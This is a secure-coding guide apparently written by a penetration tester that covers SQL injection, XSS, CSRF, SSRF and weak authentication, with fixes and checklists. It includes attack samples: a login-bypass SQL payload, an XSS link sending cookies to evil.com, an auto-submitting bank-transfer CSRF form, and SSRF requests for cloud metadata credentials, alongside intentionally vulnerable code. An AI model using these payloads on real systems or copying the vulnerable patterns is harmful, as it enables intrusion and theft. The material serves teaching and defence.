Common Security Vulnerabilities Every Developer Should Know
Let me be honest with you: most of the major breaches you read about in the news didn’t happen because attackers had some secret magic trick. They happened because a developer somewhere made a coding mistake that’s been documented since the early 2000s.
I’ve been doing application security and penetration testing for over fifteen years. I’ve tested banks, healthcare platforms, SaaS startups, and government systems. And time and time again, I keep seeing the same handful of vulnerabilities show up in codebases written by otherwise smart, capable developers. SQL Injection in a hospital records system. XSS in a fintech dashboard. CSRF on a payment form. These aren’t exotic zero-days — they’re beginner mistakes baked into production systems handling real people’s data.
The numbers tell a brutal story. According to IBM’s Cost of a Data Breach Report, the average data breach now costs organizations $4.45 million — and that figure doesn’t include reputational damage, customer churn, or the regulatory fines that can pile on top. Meanwhile, the Ponemon Institute found that over 60% of breaches involved some form of application-layer vulnerability. The attack surface isn’t your firewall — it’s your code.
The good news? The majority of these attacks are entirely preventable if you know what to look for. That’s exactly what this guide is about. We’re going to walk through the most critical security vulnerabilities every developer should have tattooed on the inside of their eyelids — pulled straight from the OWASP Top 10, the industry’s most trusted vulnerability reference — along with real attack examples and the secure code patterns that stop them cold.
Whether you’re building your first web app or you’re a senior engineer who hasn’t thought about security since that one college course, this is for you.
Understanding security vulnerabilities is the first step toward building secure applications.
SQL Injection (SQLi)
What Is SQL Injection?
SQL Injection has been on the OWASP Top 10 list practically since the list existed. It’s one of the oldest, most well-documented vulnerabilities in existence — and yet OWASP consistently ranks Injection attacks in its top three. That should tell you something.
At its core, SQLi happens when user-supplied data is included in a SQL query without proper sanitization. The application treats attacker-controlled input as SQL code rather than data. The result? An attacker can reshape the query entirely — bypassing login, reading any table in the database, or in some configurations, executing commands on the underlying operating system.
The 2009 Heartland Payment Systems breach — one of the largest in U.S. history — exposed over 130 million card numbers. The attack vector? A SQL Injection vulnerability in their web application. The company paid over $140 million in settlements.
How SQL Injection Works
Here’s a classic PHP login form that most of us have written at some point during our learning journey:
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
Looks innocent enough, right? Now imagine an attacker types this into the username field:
' OR '1'='1' --
The query that actually gets sent to the database becomes:
SELECT * FROM users WHERE username='' OR '1'='1' --' AND password='anything'
The -- comments out the password check entirely. '1'='1' is always true. The attacker is now logged in as the first user in the database — which is usually the administrator account.
The Attack Flow, Step by Step
Injects SQL syntax into a form field, URL parameter, or HTTP header.
The raw input is concatenated directly into the SQL string.
The database sees valid SQL syntax and runs it faithfully.
Authentication bypassed, data extracted, tables dropped — depending on permissions.
Beyond authentication bypass, a skilled attacker with SQLi can dump entire user tables (including password hashes), read files from the filesystem, write malicious files to the server, and in some MySQL/MSSQL configurations, execute shell commands. This is a complete system compromise through a web form.
Example of how SQL Injection manipulates backend database queries — a single apostrophe can unravel an entire authentication system.
The Fix: Prepared Statements and Parameterized Queries
The solution is non-negotiable: never concatenate user input into SQL strings. Use prepared statements, where the query structure is compiled separately from the data. The database engine physically cannot interpret the data as SQL commands.
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();
const [rows] = await db.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
);
# ORM handles parameterization automatically
user = session.query(User).filter_by(username=username).first()
SQL Injection Prevention Checklist
- Use prepared statements / parameterized queries for all database interactions
- Use an ORM (SQLAlchemy, Hibernate, Eloquent) and avoid raw query construction
- Validate and whitelist input types — e.g., enforce numeric IDs to be integers
- Apply least-privilege database permissions — the app user should not be
root - Disable detailed database error messages in production
- Run a DAST scanner (OWASP ZAP, sqlmap) on your endpoints regularly
- Use a Web Application Firewall (WAF) as a defense-in-depth layer
Cross-Site Scripting (XSS)
What Is XSS?
Cross-Site Scripting allows an attacker to inject malicious JavaScript into pages that other users view. Unlike SQLi — which targets the server — XSS targets the browser. When a victim’s browser executes the injected script, the attacker essentially has the same privileges as the website itself: they can read cookies, capture keystrokes, redirect users, or silently submit forms.
XSS comes in three main flavors:
Stored XSS — The malicious script is saved to the database (e.g., in a comment or profile field) and served to every user who views it. Dangerous because it’s persistent and can affect thousands of users.
Reflected XSS — The payload is embedded in a URL parameter and reflected back in the response. The attacker tricks victims into clicking a crafted link. Common in search forms and error pages.
DOM-based XSS — The vulnerability exists entirely in client-side JavaScript. The page reads a value from the URL or user input and writes it to the DOM without sanitization. No server involvement required.
Vulnerable Example
Here’s a classic search results page in PHP:
// URL: /search?name=Alice
<div>
Welcome, <?php echo $_GET['name']; ?>
</div>
An attacker crafts this URL and sends it to victims:
/search?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
When the victim clicks the link, their browser renders the page, executes the script, and their session cookie is shipped off to the attacker’s server. Game over — the attacker now has an authenticated session.
Cross-Site Scripting allows attackers to execute malicious scripts inside a victim’s browser — often completely invisibly.
Real-World Consequences
Don’t underestimate XSS. In 2005, a MySpace worm called Samy used stored XSS to add over one million friend requests to a single profile in under 24 hours — purely through JavaScript executing in users’ browsers. Modern attacks are far more targeted: session cookies stolen, credentials harvested via fake login overlays, banking credentials captured via keyloggers injected silently into page content.
Setting the HttpOnly flag on session cookies prevents JavaScript from reading them — mitigating cookie theft via XSS. But it’s not a silver bullet: attackers can still perform actions on behalf of the user using their active session.
Secure Implementation
<div>
Welcome, <?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?>
</div>
// DANGEROUS:
document.getElementById('output').innerHTML = userInput;
// SAFE: Use textContent instead
document.getElementById('output').textContent = userInput;
Beyond encoding, implement a Content Security Policy (CSP) header. CSP tells the browser which sources of scripts are legitimate. Even if an attacker injects a script tag, the browser will refuse to execute it if the source doesn’t match your policy.
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{RANDOM_NONCE}';
object-src 'none';
base-uri 'self';
XSS Prevention Checklist
- Encode all user-controlled output using context-appropriate encoding (HTML, JS, URL, CSS)
- Use
textContentinstead ofinnerHTMLfor dynamic DOM updates - Implement a strict Content Security Policy (CSP) header on all responses
- Set
HttpOnlyandSecureflags on session cookies - Use a modern templating engine with auto-escaping (Jinja2, Blade, Twig, React JSX)
- Validate and sanitize input on the server — never trust client-side validation alone
- Use DOMPurify when you genuinely need to render user-supplied HTML
Cross-Site Request Forgery (CSRF)
What Is CSRF?
CSRF exploits a fundamental web behavior: browsers automatically attach cookies — including session cookies — to every request made to a domain, regardless of where the request originated. An attacker tricks an authenticated user into unknowingly sending a malicious request to a server that trusts that user’s session.
Think of it like this: your browser is your hand. Your session cookie is your signature. CSRF makes your hand sign a document you never wanted to sign — while you’re busy reading the attacker’s malicious page.
Attack Scenario: Banking Transfer
Here’s a realistic attack chain:
A valid session cookie is set: session=abc123
“You’ve won a prize! Click here:” — pointing to attacker.com
The form targets the victim’s bank and transfers money to the attacker’s account.
The session cookie was attached automatically. The bank has no way to distinguish this from a legitimate transfer.
<form id="csrf-form" action="https://yourbank.com/transfer" method="POST">
<input type="hidden" name="amount" value="5000" />
<input type="hidden" name="to_account" value="ATTACKER_ACCOUNT" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
CSRF attacks exploit authenticated user sessions to perform unauthorized actions — entirely invisibly to the victim.
Secure Implementation
1. CSRF Tokens
A CSRF token is a random, secret value tied to the user’s session. It’s embedded in every form and validated on the server when the form is submitted. An attacker on a different origin cannot read this value (due to browser Same-Origin Policy), so they can’t include it in their forged request.
// Generate token (store in session)
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// Embed in form
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';
// Validate on submission
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
http_response_code(403);
die('CSRF validation failed');
}
2. SameSite Cookie Attribute
The SameSite cookie attribute tells the browser when to send cookies on cross-site requests — and it’s one of the most powerful CSRF mitigations available today:
- Strict — Cookie is never sent on cross-site requests. Maximum protection, but can break some legitimate cross-site flows (like OAuth redirects).
- Lax — Cookie is sent on top-level navigations (GET requests) but not on cross-site POST, PUT, or DELETE. A good balance for most applications.
- None — Cookie is always sent. Must be paired with
Secure. Only use when you explicitly need cross-site cookie behavior.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
CSRF Prevention Checklist
- Generate cryptographically random CSRF tokens and validate them server-side
- Set
SameSite=LaxorStricton all session cookies - Validate the
OriginandRefererheaders on sensitive state-changing requests - Use the
Double Submit Cookiepattern for stateless CSRF protection in SPAs - Never use GET requests for state-changing actions (account changes, transfers, deletes)
- Implement re-authentication prompts for high-risk actions (password changes, payments)
Server-Side Request Forgery (SSRF)
What Is SSRF?
SSRF might be less familiar than SQLi or XSS, but it’s arguably the most dangerous vulnerability in cloud-native applications today. It occurs when an attacker can control a URL that the server fetches — causing the backend to make requests to systems the attacker cannot reach directly.
Consider any feature that involves the server fetching a remote resource: URL preview generators, webhook testers, PDF-from-URL converters, image importers, PDF generators that accept URLs. All of these are potential SSRF vectors if the URL isn’t carefully restricted.
SSRF attacks can expose internal services that were never intended to be public — including cloud infrastructure metadata.
Vulnerable Example
import requests
from flask import Flask, request
app = Flask(__name__)
@app.route('/fetch-preview')
def fetch_preview():
url = request.args.get('url') # Completely user-controlled
response = requests.get(url) # Server fetches whatever the user wants
return response.text
Attack Demonstration
An attacker using this endpoint can supply internal URLs that bypass all firewall rules, because the requests come from the server itself:
# Access the internal admin panel (not exposed externally)
/fetch-preview?url=http://localhost/admin
# Access the Kubernetes API server
/fetch-preview?url=http://10.0.0.1:8080/api/v1/secrets
# Access AWS EC2 metadata service — often contains IAM role credentials!
/fetch-preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
That last one is particularly devastating. The AWS Instance Metadata Service (IMDSv1) is accessible from within any EC2 instance and returns temporary AWS credentials for attached IAM roles — without any authentication. An SSRF vulnerability on an EC2-hosted application can hand an attacker full AWS API access.
A misconfigured WAF and an SSRF vulnerability allowed an attacker to request the AWS metadata endpoint from Capital One’s servers, retrieve IAM credentials, and ultimately access over 100 million customer records. The breach cost the company over $190 million in settlements.
Secure Implementation
from urllib.parse import urlparse
import ipaddress, requests
ALLOWED_SCHEMES = {'https'}
ALLOWED_DOMAINS = {'api.trusted-partner.com', 'cdn.yourapp.com'}
def is_safe_url(url: str) -> bool:
try:
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
return False
hostname = parsed.hostname
if hostname not in ALLOWED_DOMAINS:
return False
# Block private IP ranges
try:
ip = ipaddress.ip_address(hostname)
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except ValueError:
pass # It's a domain name, not an IP — that's fine
return True
except Exception:
return False
@app.route('/fetch-preview')
def fetch_preview():
url = request.args.get('url', '')
if not is_safe_url(url):
return 'Forbidden', 403
response = requests.get(url, timeout=5)
return response.text
SSRF Prevention Checklist
- Implement a strict allowlist of permitted hostnames/IP ranges for outbound requests
- Resolve DNS and validate the resulting IP is not private/loopback before fetching
- Block requests to internal IP ranges:
10.x.x.x,172.16–31.x.x,192.168.x.x,169.254.x.x - Migrate to AWS IMDSv2 (token-required) to protect metadata endpoints
- Use a dedicated egress proxy/firewall for outbound HTTP from application servers
- Disable URL-fetching features entirely if they don’t serve a core business need
- Log and alert on unusual outbound connection patterns
Broken Authentication
What Is Broken Authentication?
Broken authentication isn’t a single vulnerability — it’s a category of weaknesses in how applications handle login, sessions, and credentials. When any of these pieces fail, attackers can impersonate users, take over accounts, or bypass access controls entirely.
Strong authentication mechanisms dramatically reduce account compromise risks — MFA alone blocks over 99% of automated account attacks.
Common Causes
In my years of penetration testing, I’ve seen broken authentication manifest in these forms most often: weak password policies with no enforcement, session IDs embedded in URLs (visible in logs), sessions that never expire, missing account lockout after failed attempts, predictable password reset tokens, and the big one — password hashing done wrong.
// Storing the password
$hashed = md5($password); // NEVER do this
INSERT INTO users (password) VALUES ('$hashed');
// Checking the password
if ($row['password'] == md5($input)) {
// "Authenticated"
}
MD5 is not a password hashing function — it’s a checksum algorithm. It’s blazing fast (hundreds of millions of hashes per second on a GPU), has no salt built in, and rainbow tables exist for virtually every common password. An attacker who dumps your users table will crack most of your passwords in minutes.
The Credential Stuffing Threat
Billions of username/password combinations are available for free or cheap on dark web markets, harvested from previous breaches. Credential stuffing tools like Sentry MBA automatically test these pairs against your login endpoint. If your users reuse passwords — and statistically, most of them do — your application will be compromised even if your own code is perfectly secure.
Secure Implementation
// Store password securely
$hashed = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);
// Verify password (timing-safe comparison built in)
if (password_verify($input, $hashed)) {
// Authenticated
}
// Check if hash needs rehashing (e.g., after cost factor increase)
if (password_needs_rehash($hashed, PASSWORD_BCRYPT, ['cost' => 12])) {
$newHash = password_hash($input, PASSWORD_BCRYPT, ['cost' => 12]);
// Update the stored hash
}
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
ph = PasswordHasher(
time_cost=2, # Number of iterations
memory_cost=65536,# 64 MB memory
parallelism=2 # Number of threads
)
# Hash the password
hash = ph.hash(password)
# Verify (raises exception on failure)
try:
ph.verify(hash, input_password)
# Check if rehashing needed
if ph.check_needs_rehash(hash):
hash = ph.hash(input_password)
except VerifyMismatchError:
# Wrong password
pass
// Regenerate session ID after login (prevents session fixation)
session_regenerate_id(true);
// Set secure session parameters
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.use_strict_mode', 1);
// Session expiry
$_SESSION['last_activity'] = time();
if (time() - $_SESSION['last_activity'] > 1800) { // 30-minute timeout
session_destroy();
}
Authentication Security Checklist
- Use bcrypt (cost ≥12), Argon2id, or scrypt for all password storage
- Implement TOTP-based Multi-Factor Authentication (Google Authenticator, Authy)
- Enforce account lockout or exponential backoff after 5–10 failed login attempts
- Regenerate session IDs after successful authentication (prevent session fixation)
- Implement idle session timeout (15–30 minutes for sensitive applications)
- Use cryptographically random tokens (min 128 bits) for password reset links
- Make password reset tokens single-use and expire them within 15 minutes
- Check passwords against breach databases using the HaveIBeenPwned Passwords API
- Implement rate limiting on login and password reset endpoints
Security Testing and Prevention Strategy
Understanding vulnerabilities is half the battle. The other half is building processes that prevent them from shipping to production in the first place. Here’s how security-mature engineering teams do it.
Secure Development Lifecycle (SDLC)
A Secure SDLC integrates security into every phase — not as a bolt-on at the end, but as a continuous thread. Security requirements are defined alongside functional ones. Threat models are built before a line of code is written. Code reviews include security checklists. Tests cover attack scenarios, not just happy paths.
Threat Modeling
Threat modeling answers the question: “What could go wrong with this system?” The STRIDE model (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) gives teams a structured framework to enumerate threats during design. Tools like Microsoft Threat Modeling Tool or OWASP Threat Dragon can formalize this process.
Code Reviews with a Security Lens
Standard code reviews catch logic bugs. Security-focused reviews additionally look for: raw SQL string construction, unencoded output to HTML, missing authorization checks, use of deprecated crypto functions, hardcoded credentials, and overly permissive CORS configurations. Many teams maintain a security-specific checklist that reviewers must step through.
Static Analysis (SAST)
SAST tools analyze source code without running it, flagging known-dangerous patterns. Integrate them into your CI pipeline so they run on every pull request:
- Semgrep — Fast, language-agnostic, highly customizable rules
- SonarQube — Comprehensive platform with security-specific rulesets
- Bandit — Python-specific security linter
- Brakeman — Rails-specific static analysis
- ESLint Security Plugin — JavaScript/Node.js security rules
Dependency Scanning (SCA)
Your application code might be perfectly secure while a vulnerable npm package, PyPI dependency, or Maven artifact opens the door. Software Composition Analysis (SCA) tools track your dependency tree against known CVE databases:
- Snyk — Continuous dependency monitoring, integrates with GitHub/GitLab
- Dependabot — GitHub-native automated PR creation for vulnerable deps
- OWASP Dependency-Check — Open source, supports many ecosystems
Dynamic Testing (DAST)
DAST tools test the running application — sending actual attack payloads and observing responses. They catch vulnerabilities that static analysis misses (like runtime injection points):
- OWASP ZAP — Free, actively maintained, great for CI integration
- Burp Suite — Industry-standard for manual and automated web app testing
- Nuclei — Template-based scanner with a massive community rule library
Penetration Testing
Automated tooling is valuable but not infallible. A skilled human penetration tester can chain multiple low-severity issues into a critical attack path, find business logic vulnerabilities that no scanner would catch, and provide context that raw CVE scores lack. Schedule penetration tests at least annually — or before major feature launches and regulatory audits.
Vulnerability Comparison Table
| Vulnerability | Severity | Impact | Common Cause | Primary Prevention |
|---|---|---|---|---|
| SQL Injection | Critical | Full DB compromise, auth bypass, data theft | String concatenation in SQL queries | Prepared statements / ORM |
| Cross-Site Scripting (XSS) | Critical | Session hijacking, credential theft, malware | Unencoded user data in HTML output | Output encoding + CSP |
| CSRF | High | Unauthorized state changes, fund transfers | No origin validation on state-changing endpoints | CSRF tokens + SameSite cookies |
| SSRF | Critical | Internal service access, cloud credential theft | Unvalidated user-controlled URLs in server requests | Strict URL allowlist + IP range blocking |
| Broken Authentication | Critical | Account takeover, full system compromise | Weak hashing, no MFA, poor session management | bcrypt/Argon2 + MFA + session hygiene |
Developer Security Checklist
Use this before shipping any feature that handles user data, authentication, or external input:
Input Validation & Output Encoding
- All user input is validated and rejected if it doesn’t conform to expected type/format/length
- Input is validated on the server side (never trust client-side-only validation)
- All user-controlled data rendered in HTML is encoded with
htmlspecialcharsor equivalent - Content Security Policy (CSP) header is set on all responses
- Database queries use prepared statements or parameterized queries — no concatenation
Authentication & Session Management
- Passwords hashed with bcrypt (cost ≥12) or Argon2id
- Multi-Factor Authentication available and encouraged for all accounts
- Session IDs regenerated after login and privilege changes
- Sessions expire after inactivity (30 min recommended)
- Login endpoints rate-limited or protected with CAPTCHA
- Password reset tokens are random, single-use, and expire quickly
Authorization
- Every endpoint verifies the authenticated user has permission for the requested resource
- Object-level authorization checks are performed (not just role checks)
- Admin functionality is on separate paths/origins, not just hidden from the UI
CSRF & Request Integrity
- CSRF tokens implemented on all state-changing forms
- All session cookies have
SameSite=LaxorStrict,HttpOnly, andSecureflags - State-changing actions use POST/PUT/PATCH/DELETE — never GET
Dependencies & Infrastructure
- Third-party dependencies scanned for known vulnerabilities (Snyk, Dependabot)
- No dependency pinned to a version with a known critical CVE
- Database user accounts follow least-privilege principle
- Sensitive credentials stored in a secrets manager — never in source code or environment variable plain text in repos
Logging & Monitoring
- Authentication events (success, failure, lockout) are logged
- Alerts configured for anomalous patterns (mass login failures, unusual export volumes)
- Error messages do not expose stack traces, DB schema, or file paths to users
- Logs do not contain passwords, session tokens, or full credit card numbers
Key Takeaways
- SQL Injection and XSS remain the most prevalent critical vulnerabilities — largely because developers aren’t taught secure coding as a default. Parameterized queries and output encoding should be non-negotiable defaults in every project.
- Fastest security wins: Enable
SameSite=Laxon cookies (5 minutes of work), enforceContent-Security-Policyheaders, and migrate to bcrypt — these three changes eliminate entire vulnerability classes overnight. - SSRF is the most dangerous vulnerability in cloud environments and is frequently underestimated. If any feature in your application fetches remote URLs, treat it as critical risk and implement allowlists immediately.
- Security is a process, not a checkbox. Integrate SAST into CI, schedule quarterly dependency reviews, and conduct annual penetration tests. Threats evolve; your defenses must too.
- MFA is the single most impactful authentication control you can implement. Google’s own data shows it blocks 99.9% of automated account-takeover attacks.
Conclusion: Your Code, Your Responsibility
Security isn’t the CISO’s problem or the security team’s problem — it’s every developer’s responsibility. The code you write runs on systems that hold real people’s data: their financial records, their medical history, their private messages. When that data is breached because of a SQL injection vulnerability or a misconfigured session cookie, real people are harmed.
The hopeful truth is that most breaches are preventable. The vulnerability patterns we’ve covered — SQL Injection, XSS, CSRF, SSRF, and Broken Authentication — have well-documented fixes. They’re not exotic; they don’t require a security PhD to prevent. They just require the habit of asking “what could go wrong here?” before you ship.
Prevention is always cheaper than response. A penetration test that surfaces a SQLi vulnerability costs a fraction of a fraction of what a breach costs — in money, in reputation, in trust. Building security in from the start is not a burden; it’s professional craftsmanship.
So here’s my challenge to you: open one of your projects right now and run it through the developer security checklist in this post. Look for raw SQL queries. Check your output encoding. Audit your session cookie flags. Run a free scan with OWASP ZAP. You might be surprised what you find — and thrilled that you found it before an attacker did.
Audit Your Application Now →Frequently Asked Questions
The OWASP Top 10 is a regularly updated list of the most critical web application security risks, maintained by the Open Web Application Security Project (OWASP). It serves as the foundational security reference for developers and security professionals worldwide, and is recognized by PCI-DSS, ISO 27001, and other compliance frameworks.
SQL Injection is an attack where malicious SQL code is inserted into a query, allowing attackers to manipulate the database. Prevention is straightforward: always use prepared statements or parameterized queries. Never concatenate user input into SQL strings.
Prevent XSS by encoding all user-controlled output using context-appropriate encoding (HTML entities for HTML context, JavaScript escaping for JS context), implementing a strict Content Security Policy (CSP) header, and using modern frameworks with auto-escaping like React, Angular, or Jinja2.
XSS allows an attacker to execute JavaScript in the victim’s browser by injecting code into a page. CSRF tricks an authenticated user’s browser into sending unauthorized requests to a server, exploiting the trust the server has in that user’s session. They’re related but exploit different trust relationships.
Server-Side Request Forgery lets attackers make the server send requests to internal systems or services. In cloud environments (AWS, GCP, Azure), it can expose metadata services like the AWS Instance Metadata Service at 169.254.169.254, potentially leaking temporary IAM credentials and enabling full cloud account compromise.
The recommended algorithms today are Argon2id (first choice for new projects), bcrypt (with cost factor ≥12), and scrypt. MD5, SHA-1, and even SHA-256/SHA-512 are not suitable for password hashing — they’re too fast, designed for speed rather than resistance to brute-force attacks.
A CSRF token is a unique, secret, per-session value embedded in every state-changing form. The server validates it on each submission. Because the Same-Origin Policy prevents scripts on attacker-controlled pages from reading values from your application, attackers can’t include the correct token in their forged requests.
A Secure SDLC integrates security activities at every phase of development — threat modeling in design, security code reviews during development, SAST/DAST in CI/CD pipelines, and penetration testing before release. This catches vulnerabilities early when they’re cheap to fix, rather than post-production when they’re catastrophically expensive.
For DAST: OWASP ZAP (free) or Burp Suite Pro. For SAST: Semgrep or SonarQube. For dependency scanning: Snyk or Dependabot. For penetration testing: Metasploit, sqlmap, Nikto. For secrets scanning: GitLeaks or TruffleHog. Run SAST and dependency scanning in CI/CD automatically on every pull request.
No. A Web Application Firewall is a valuable defense-in-depth layer, but it’s not a replacement for fixing vulnerabilities at the source. WAFs can be bypassed with obfuscated payloads, and they don’t protect against logic flaws, SSRF through legitimate business features, or broken access control. Fix the code; use the WAF as backup.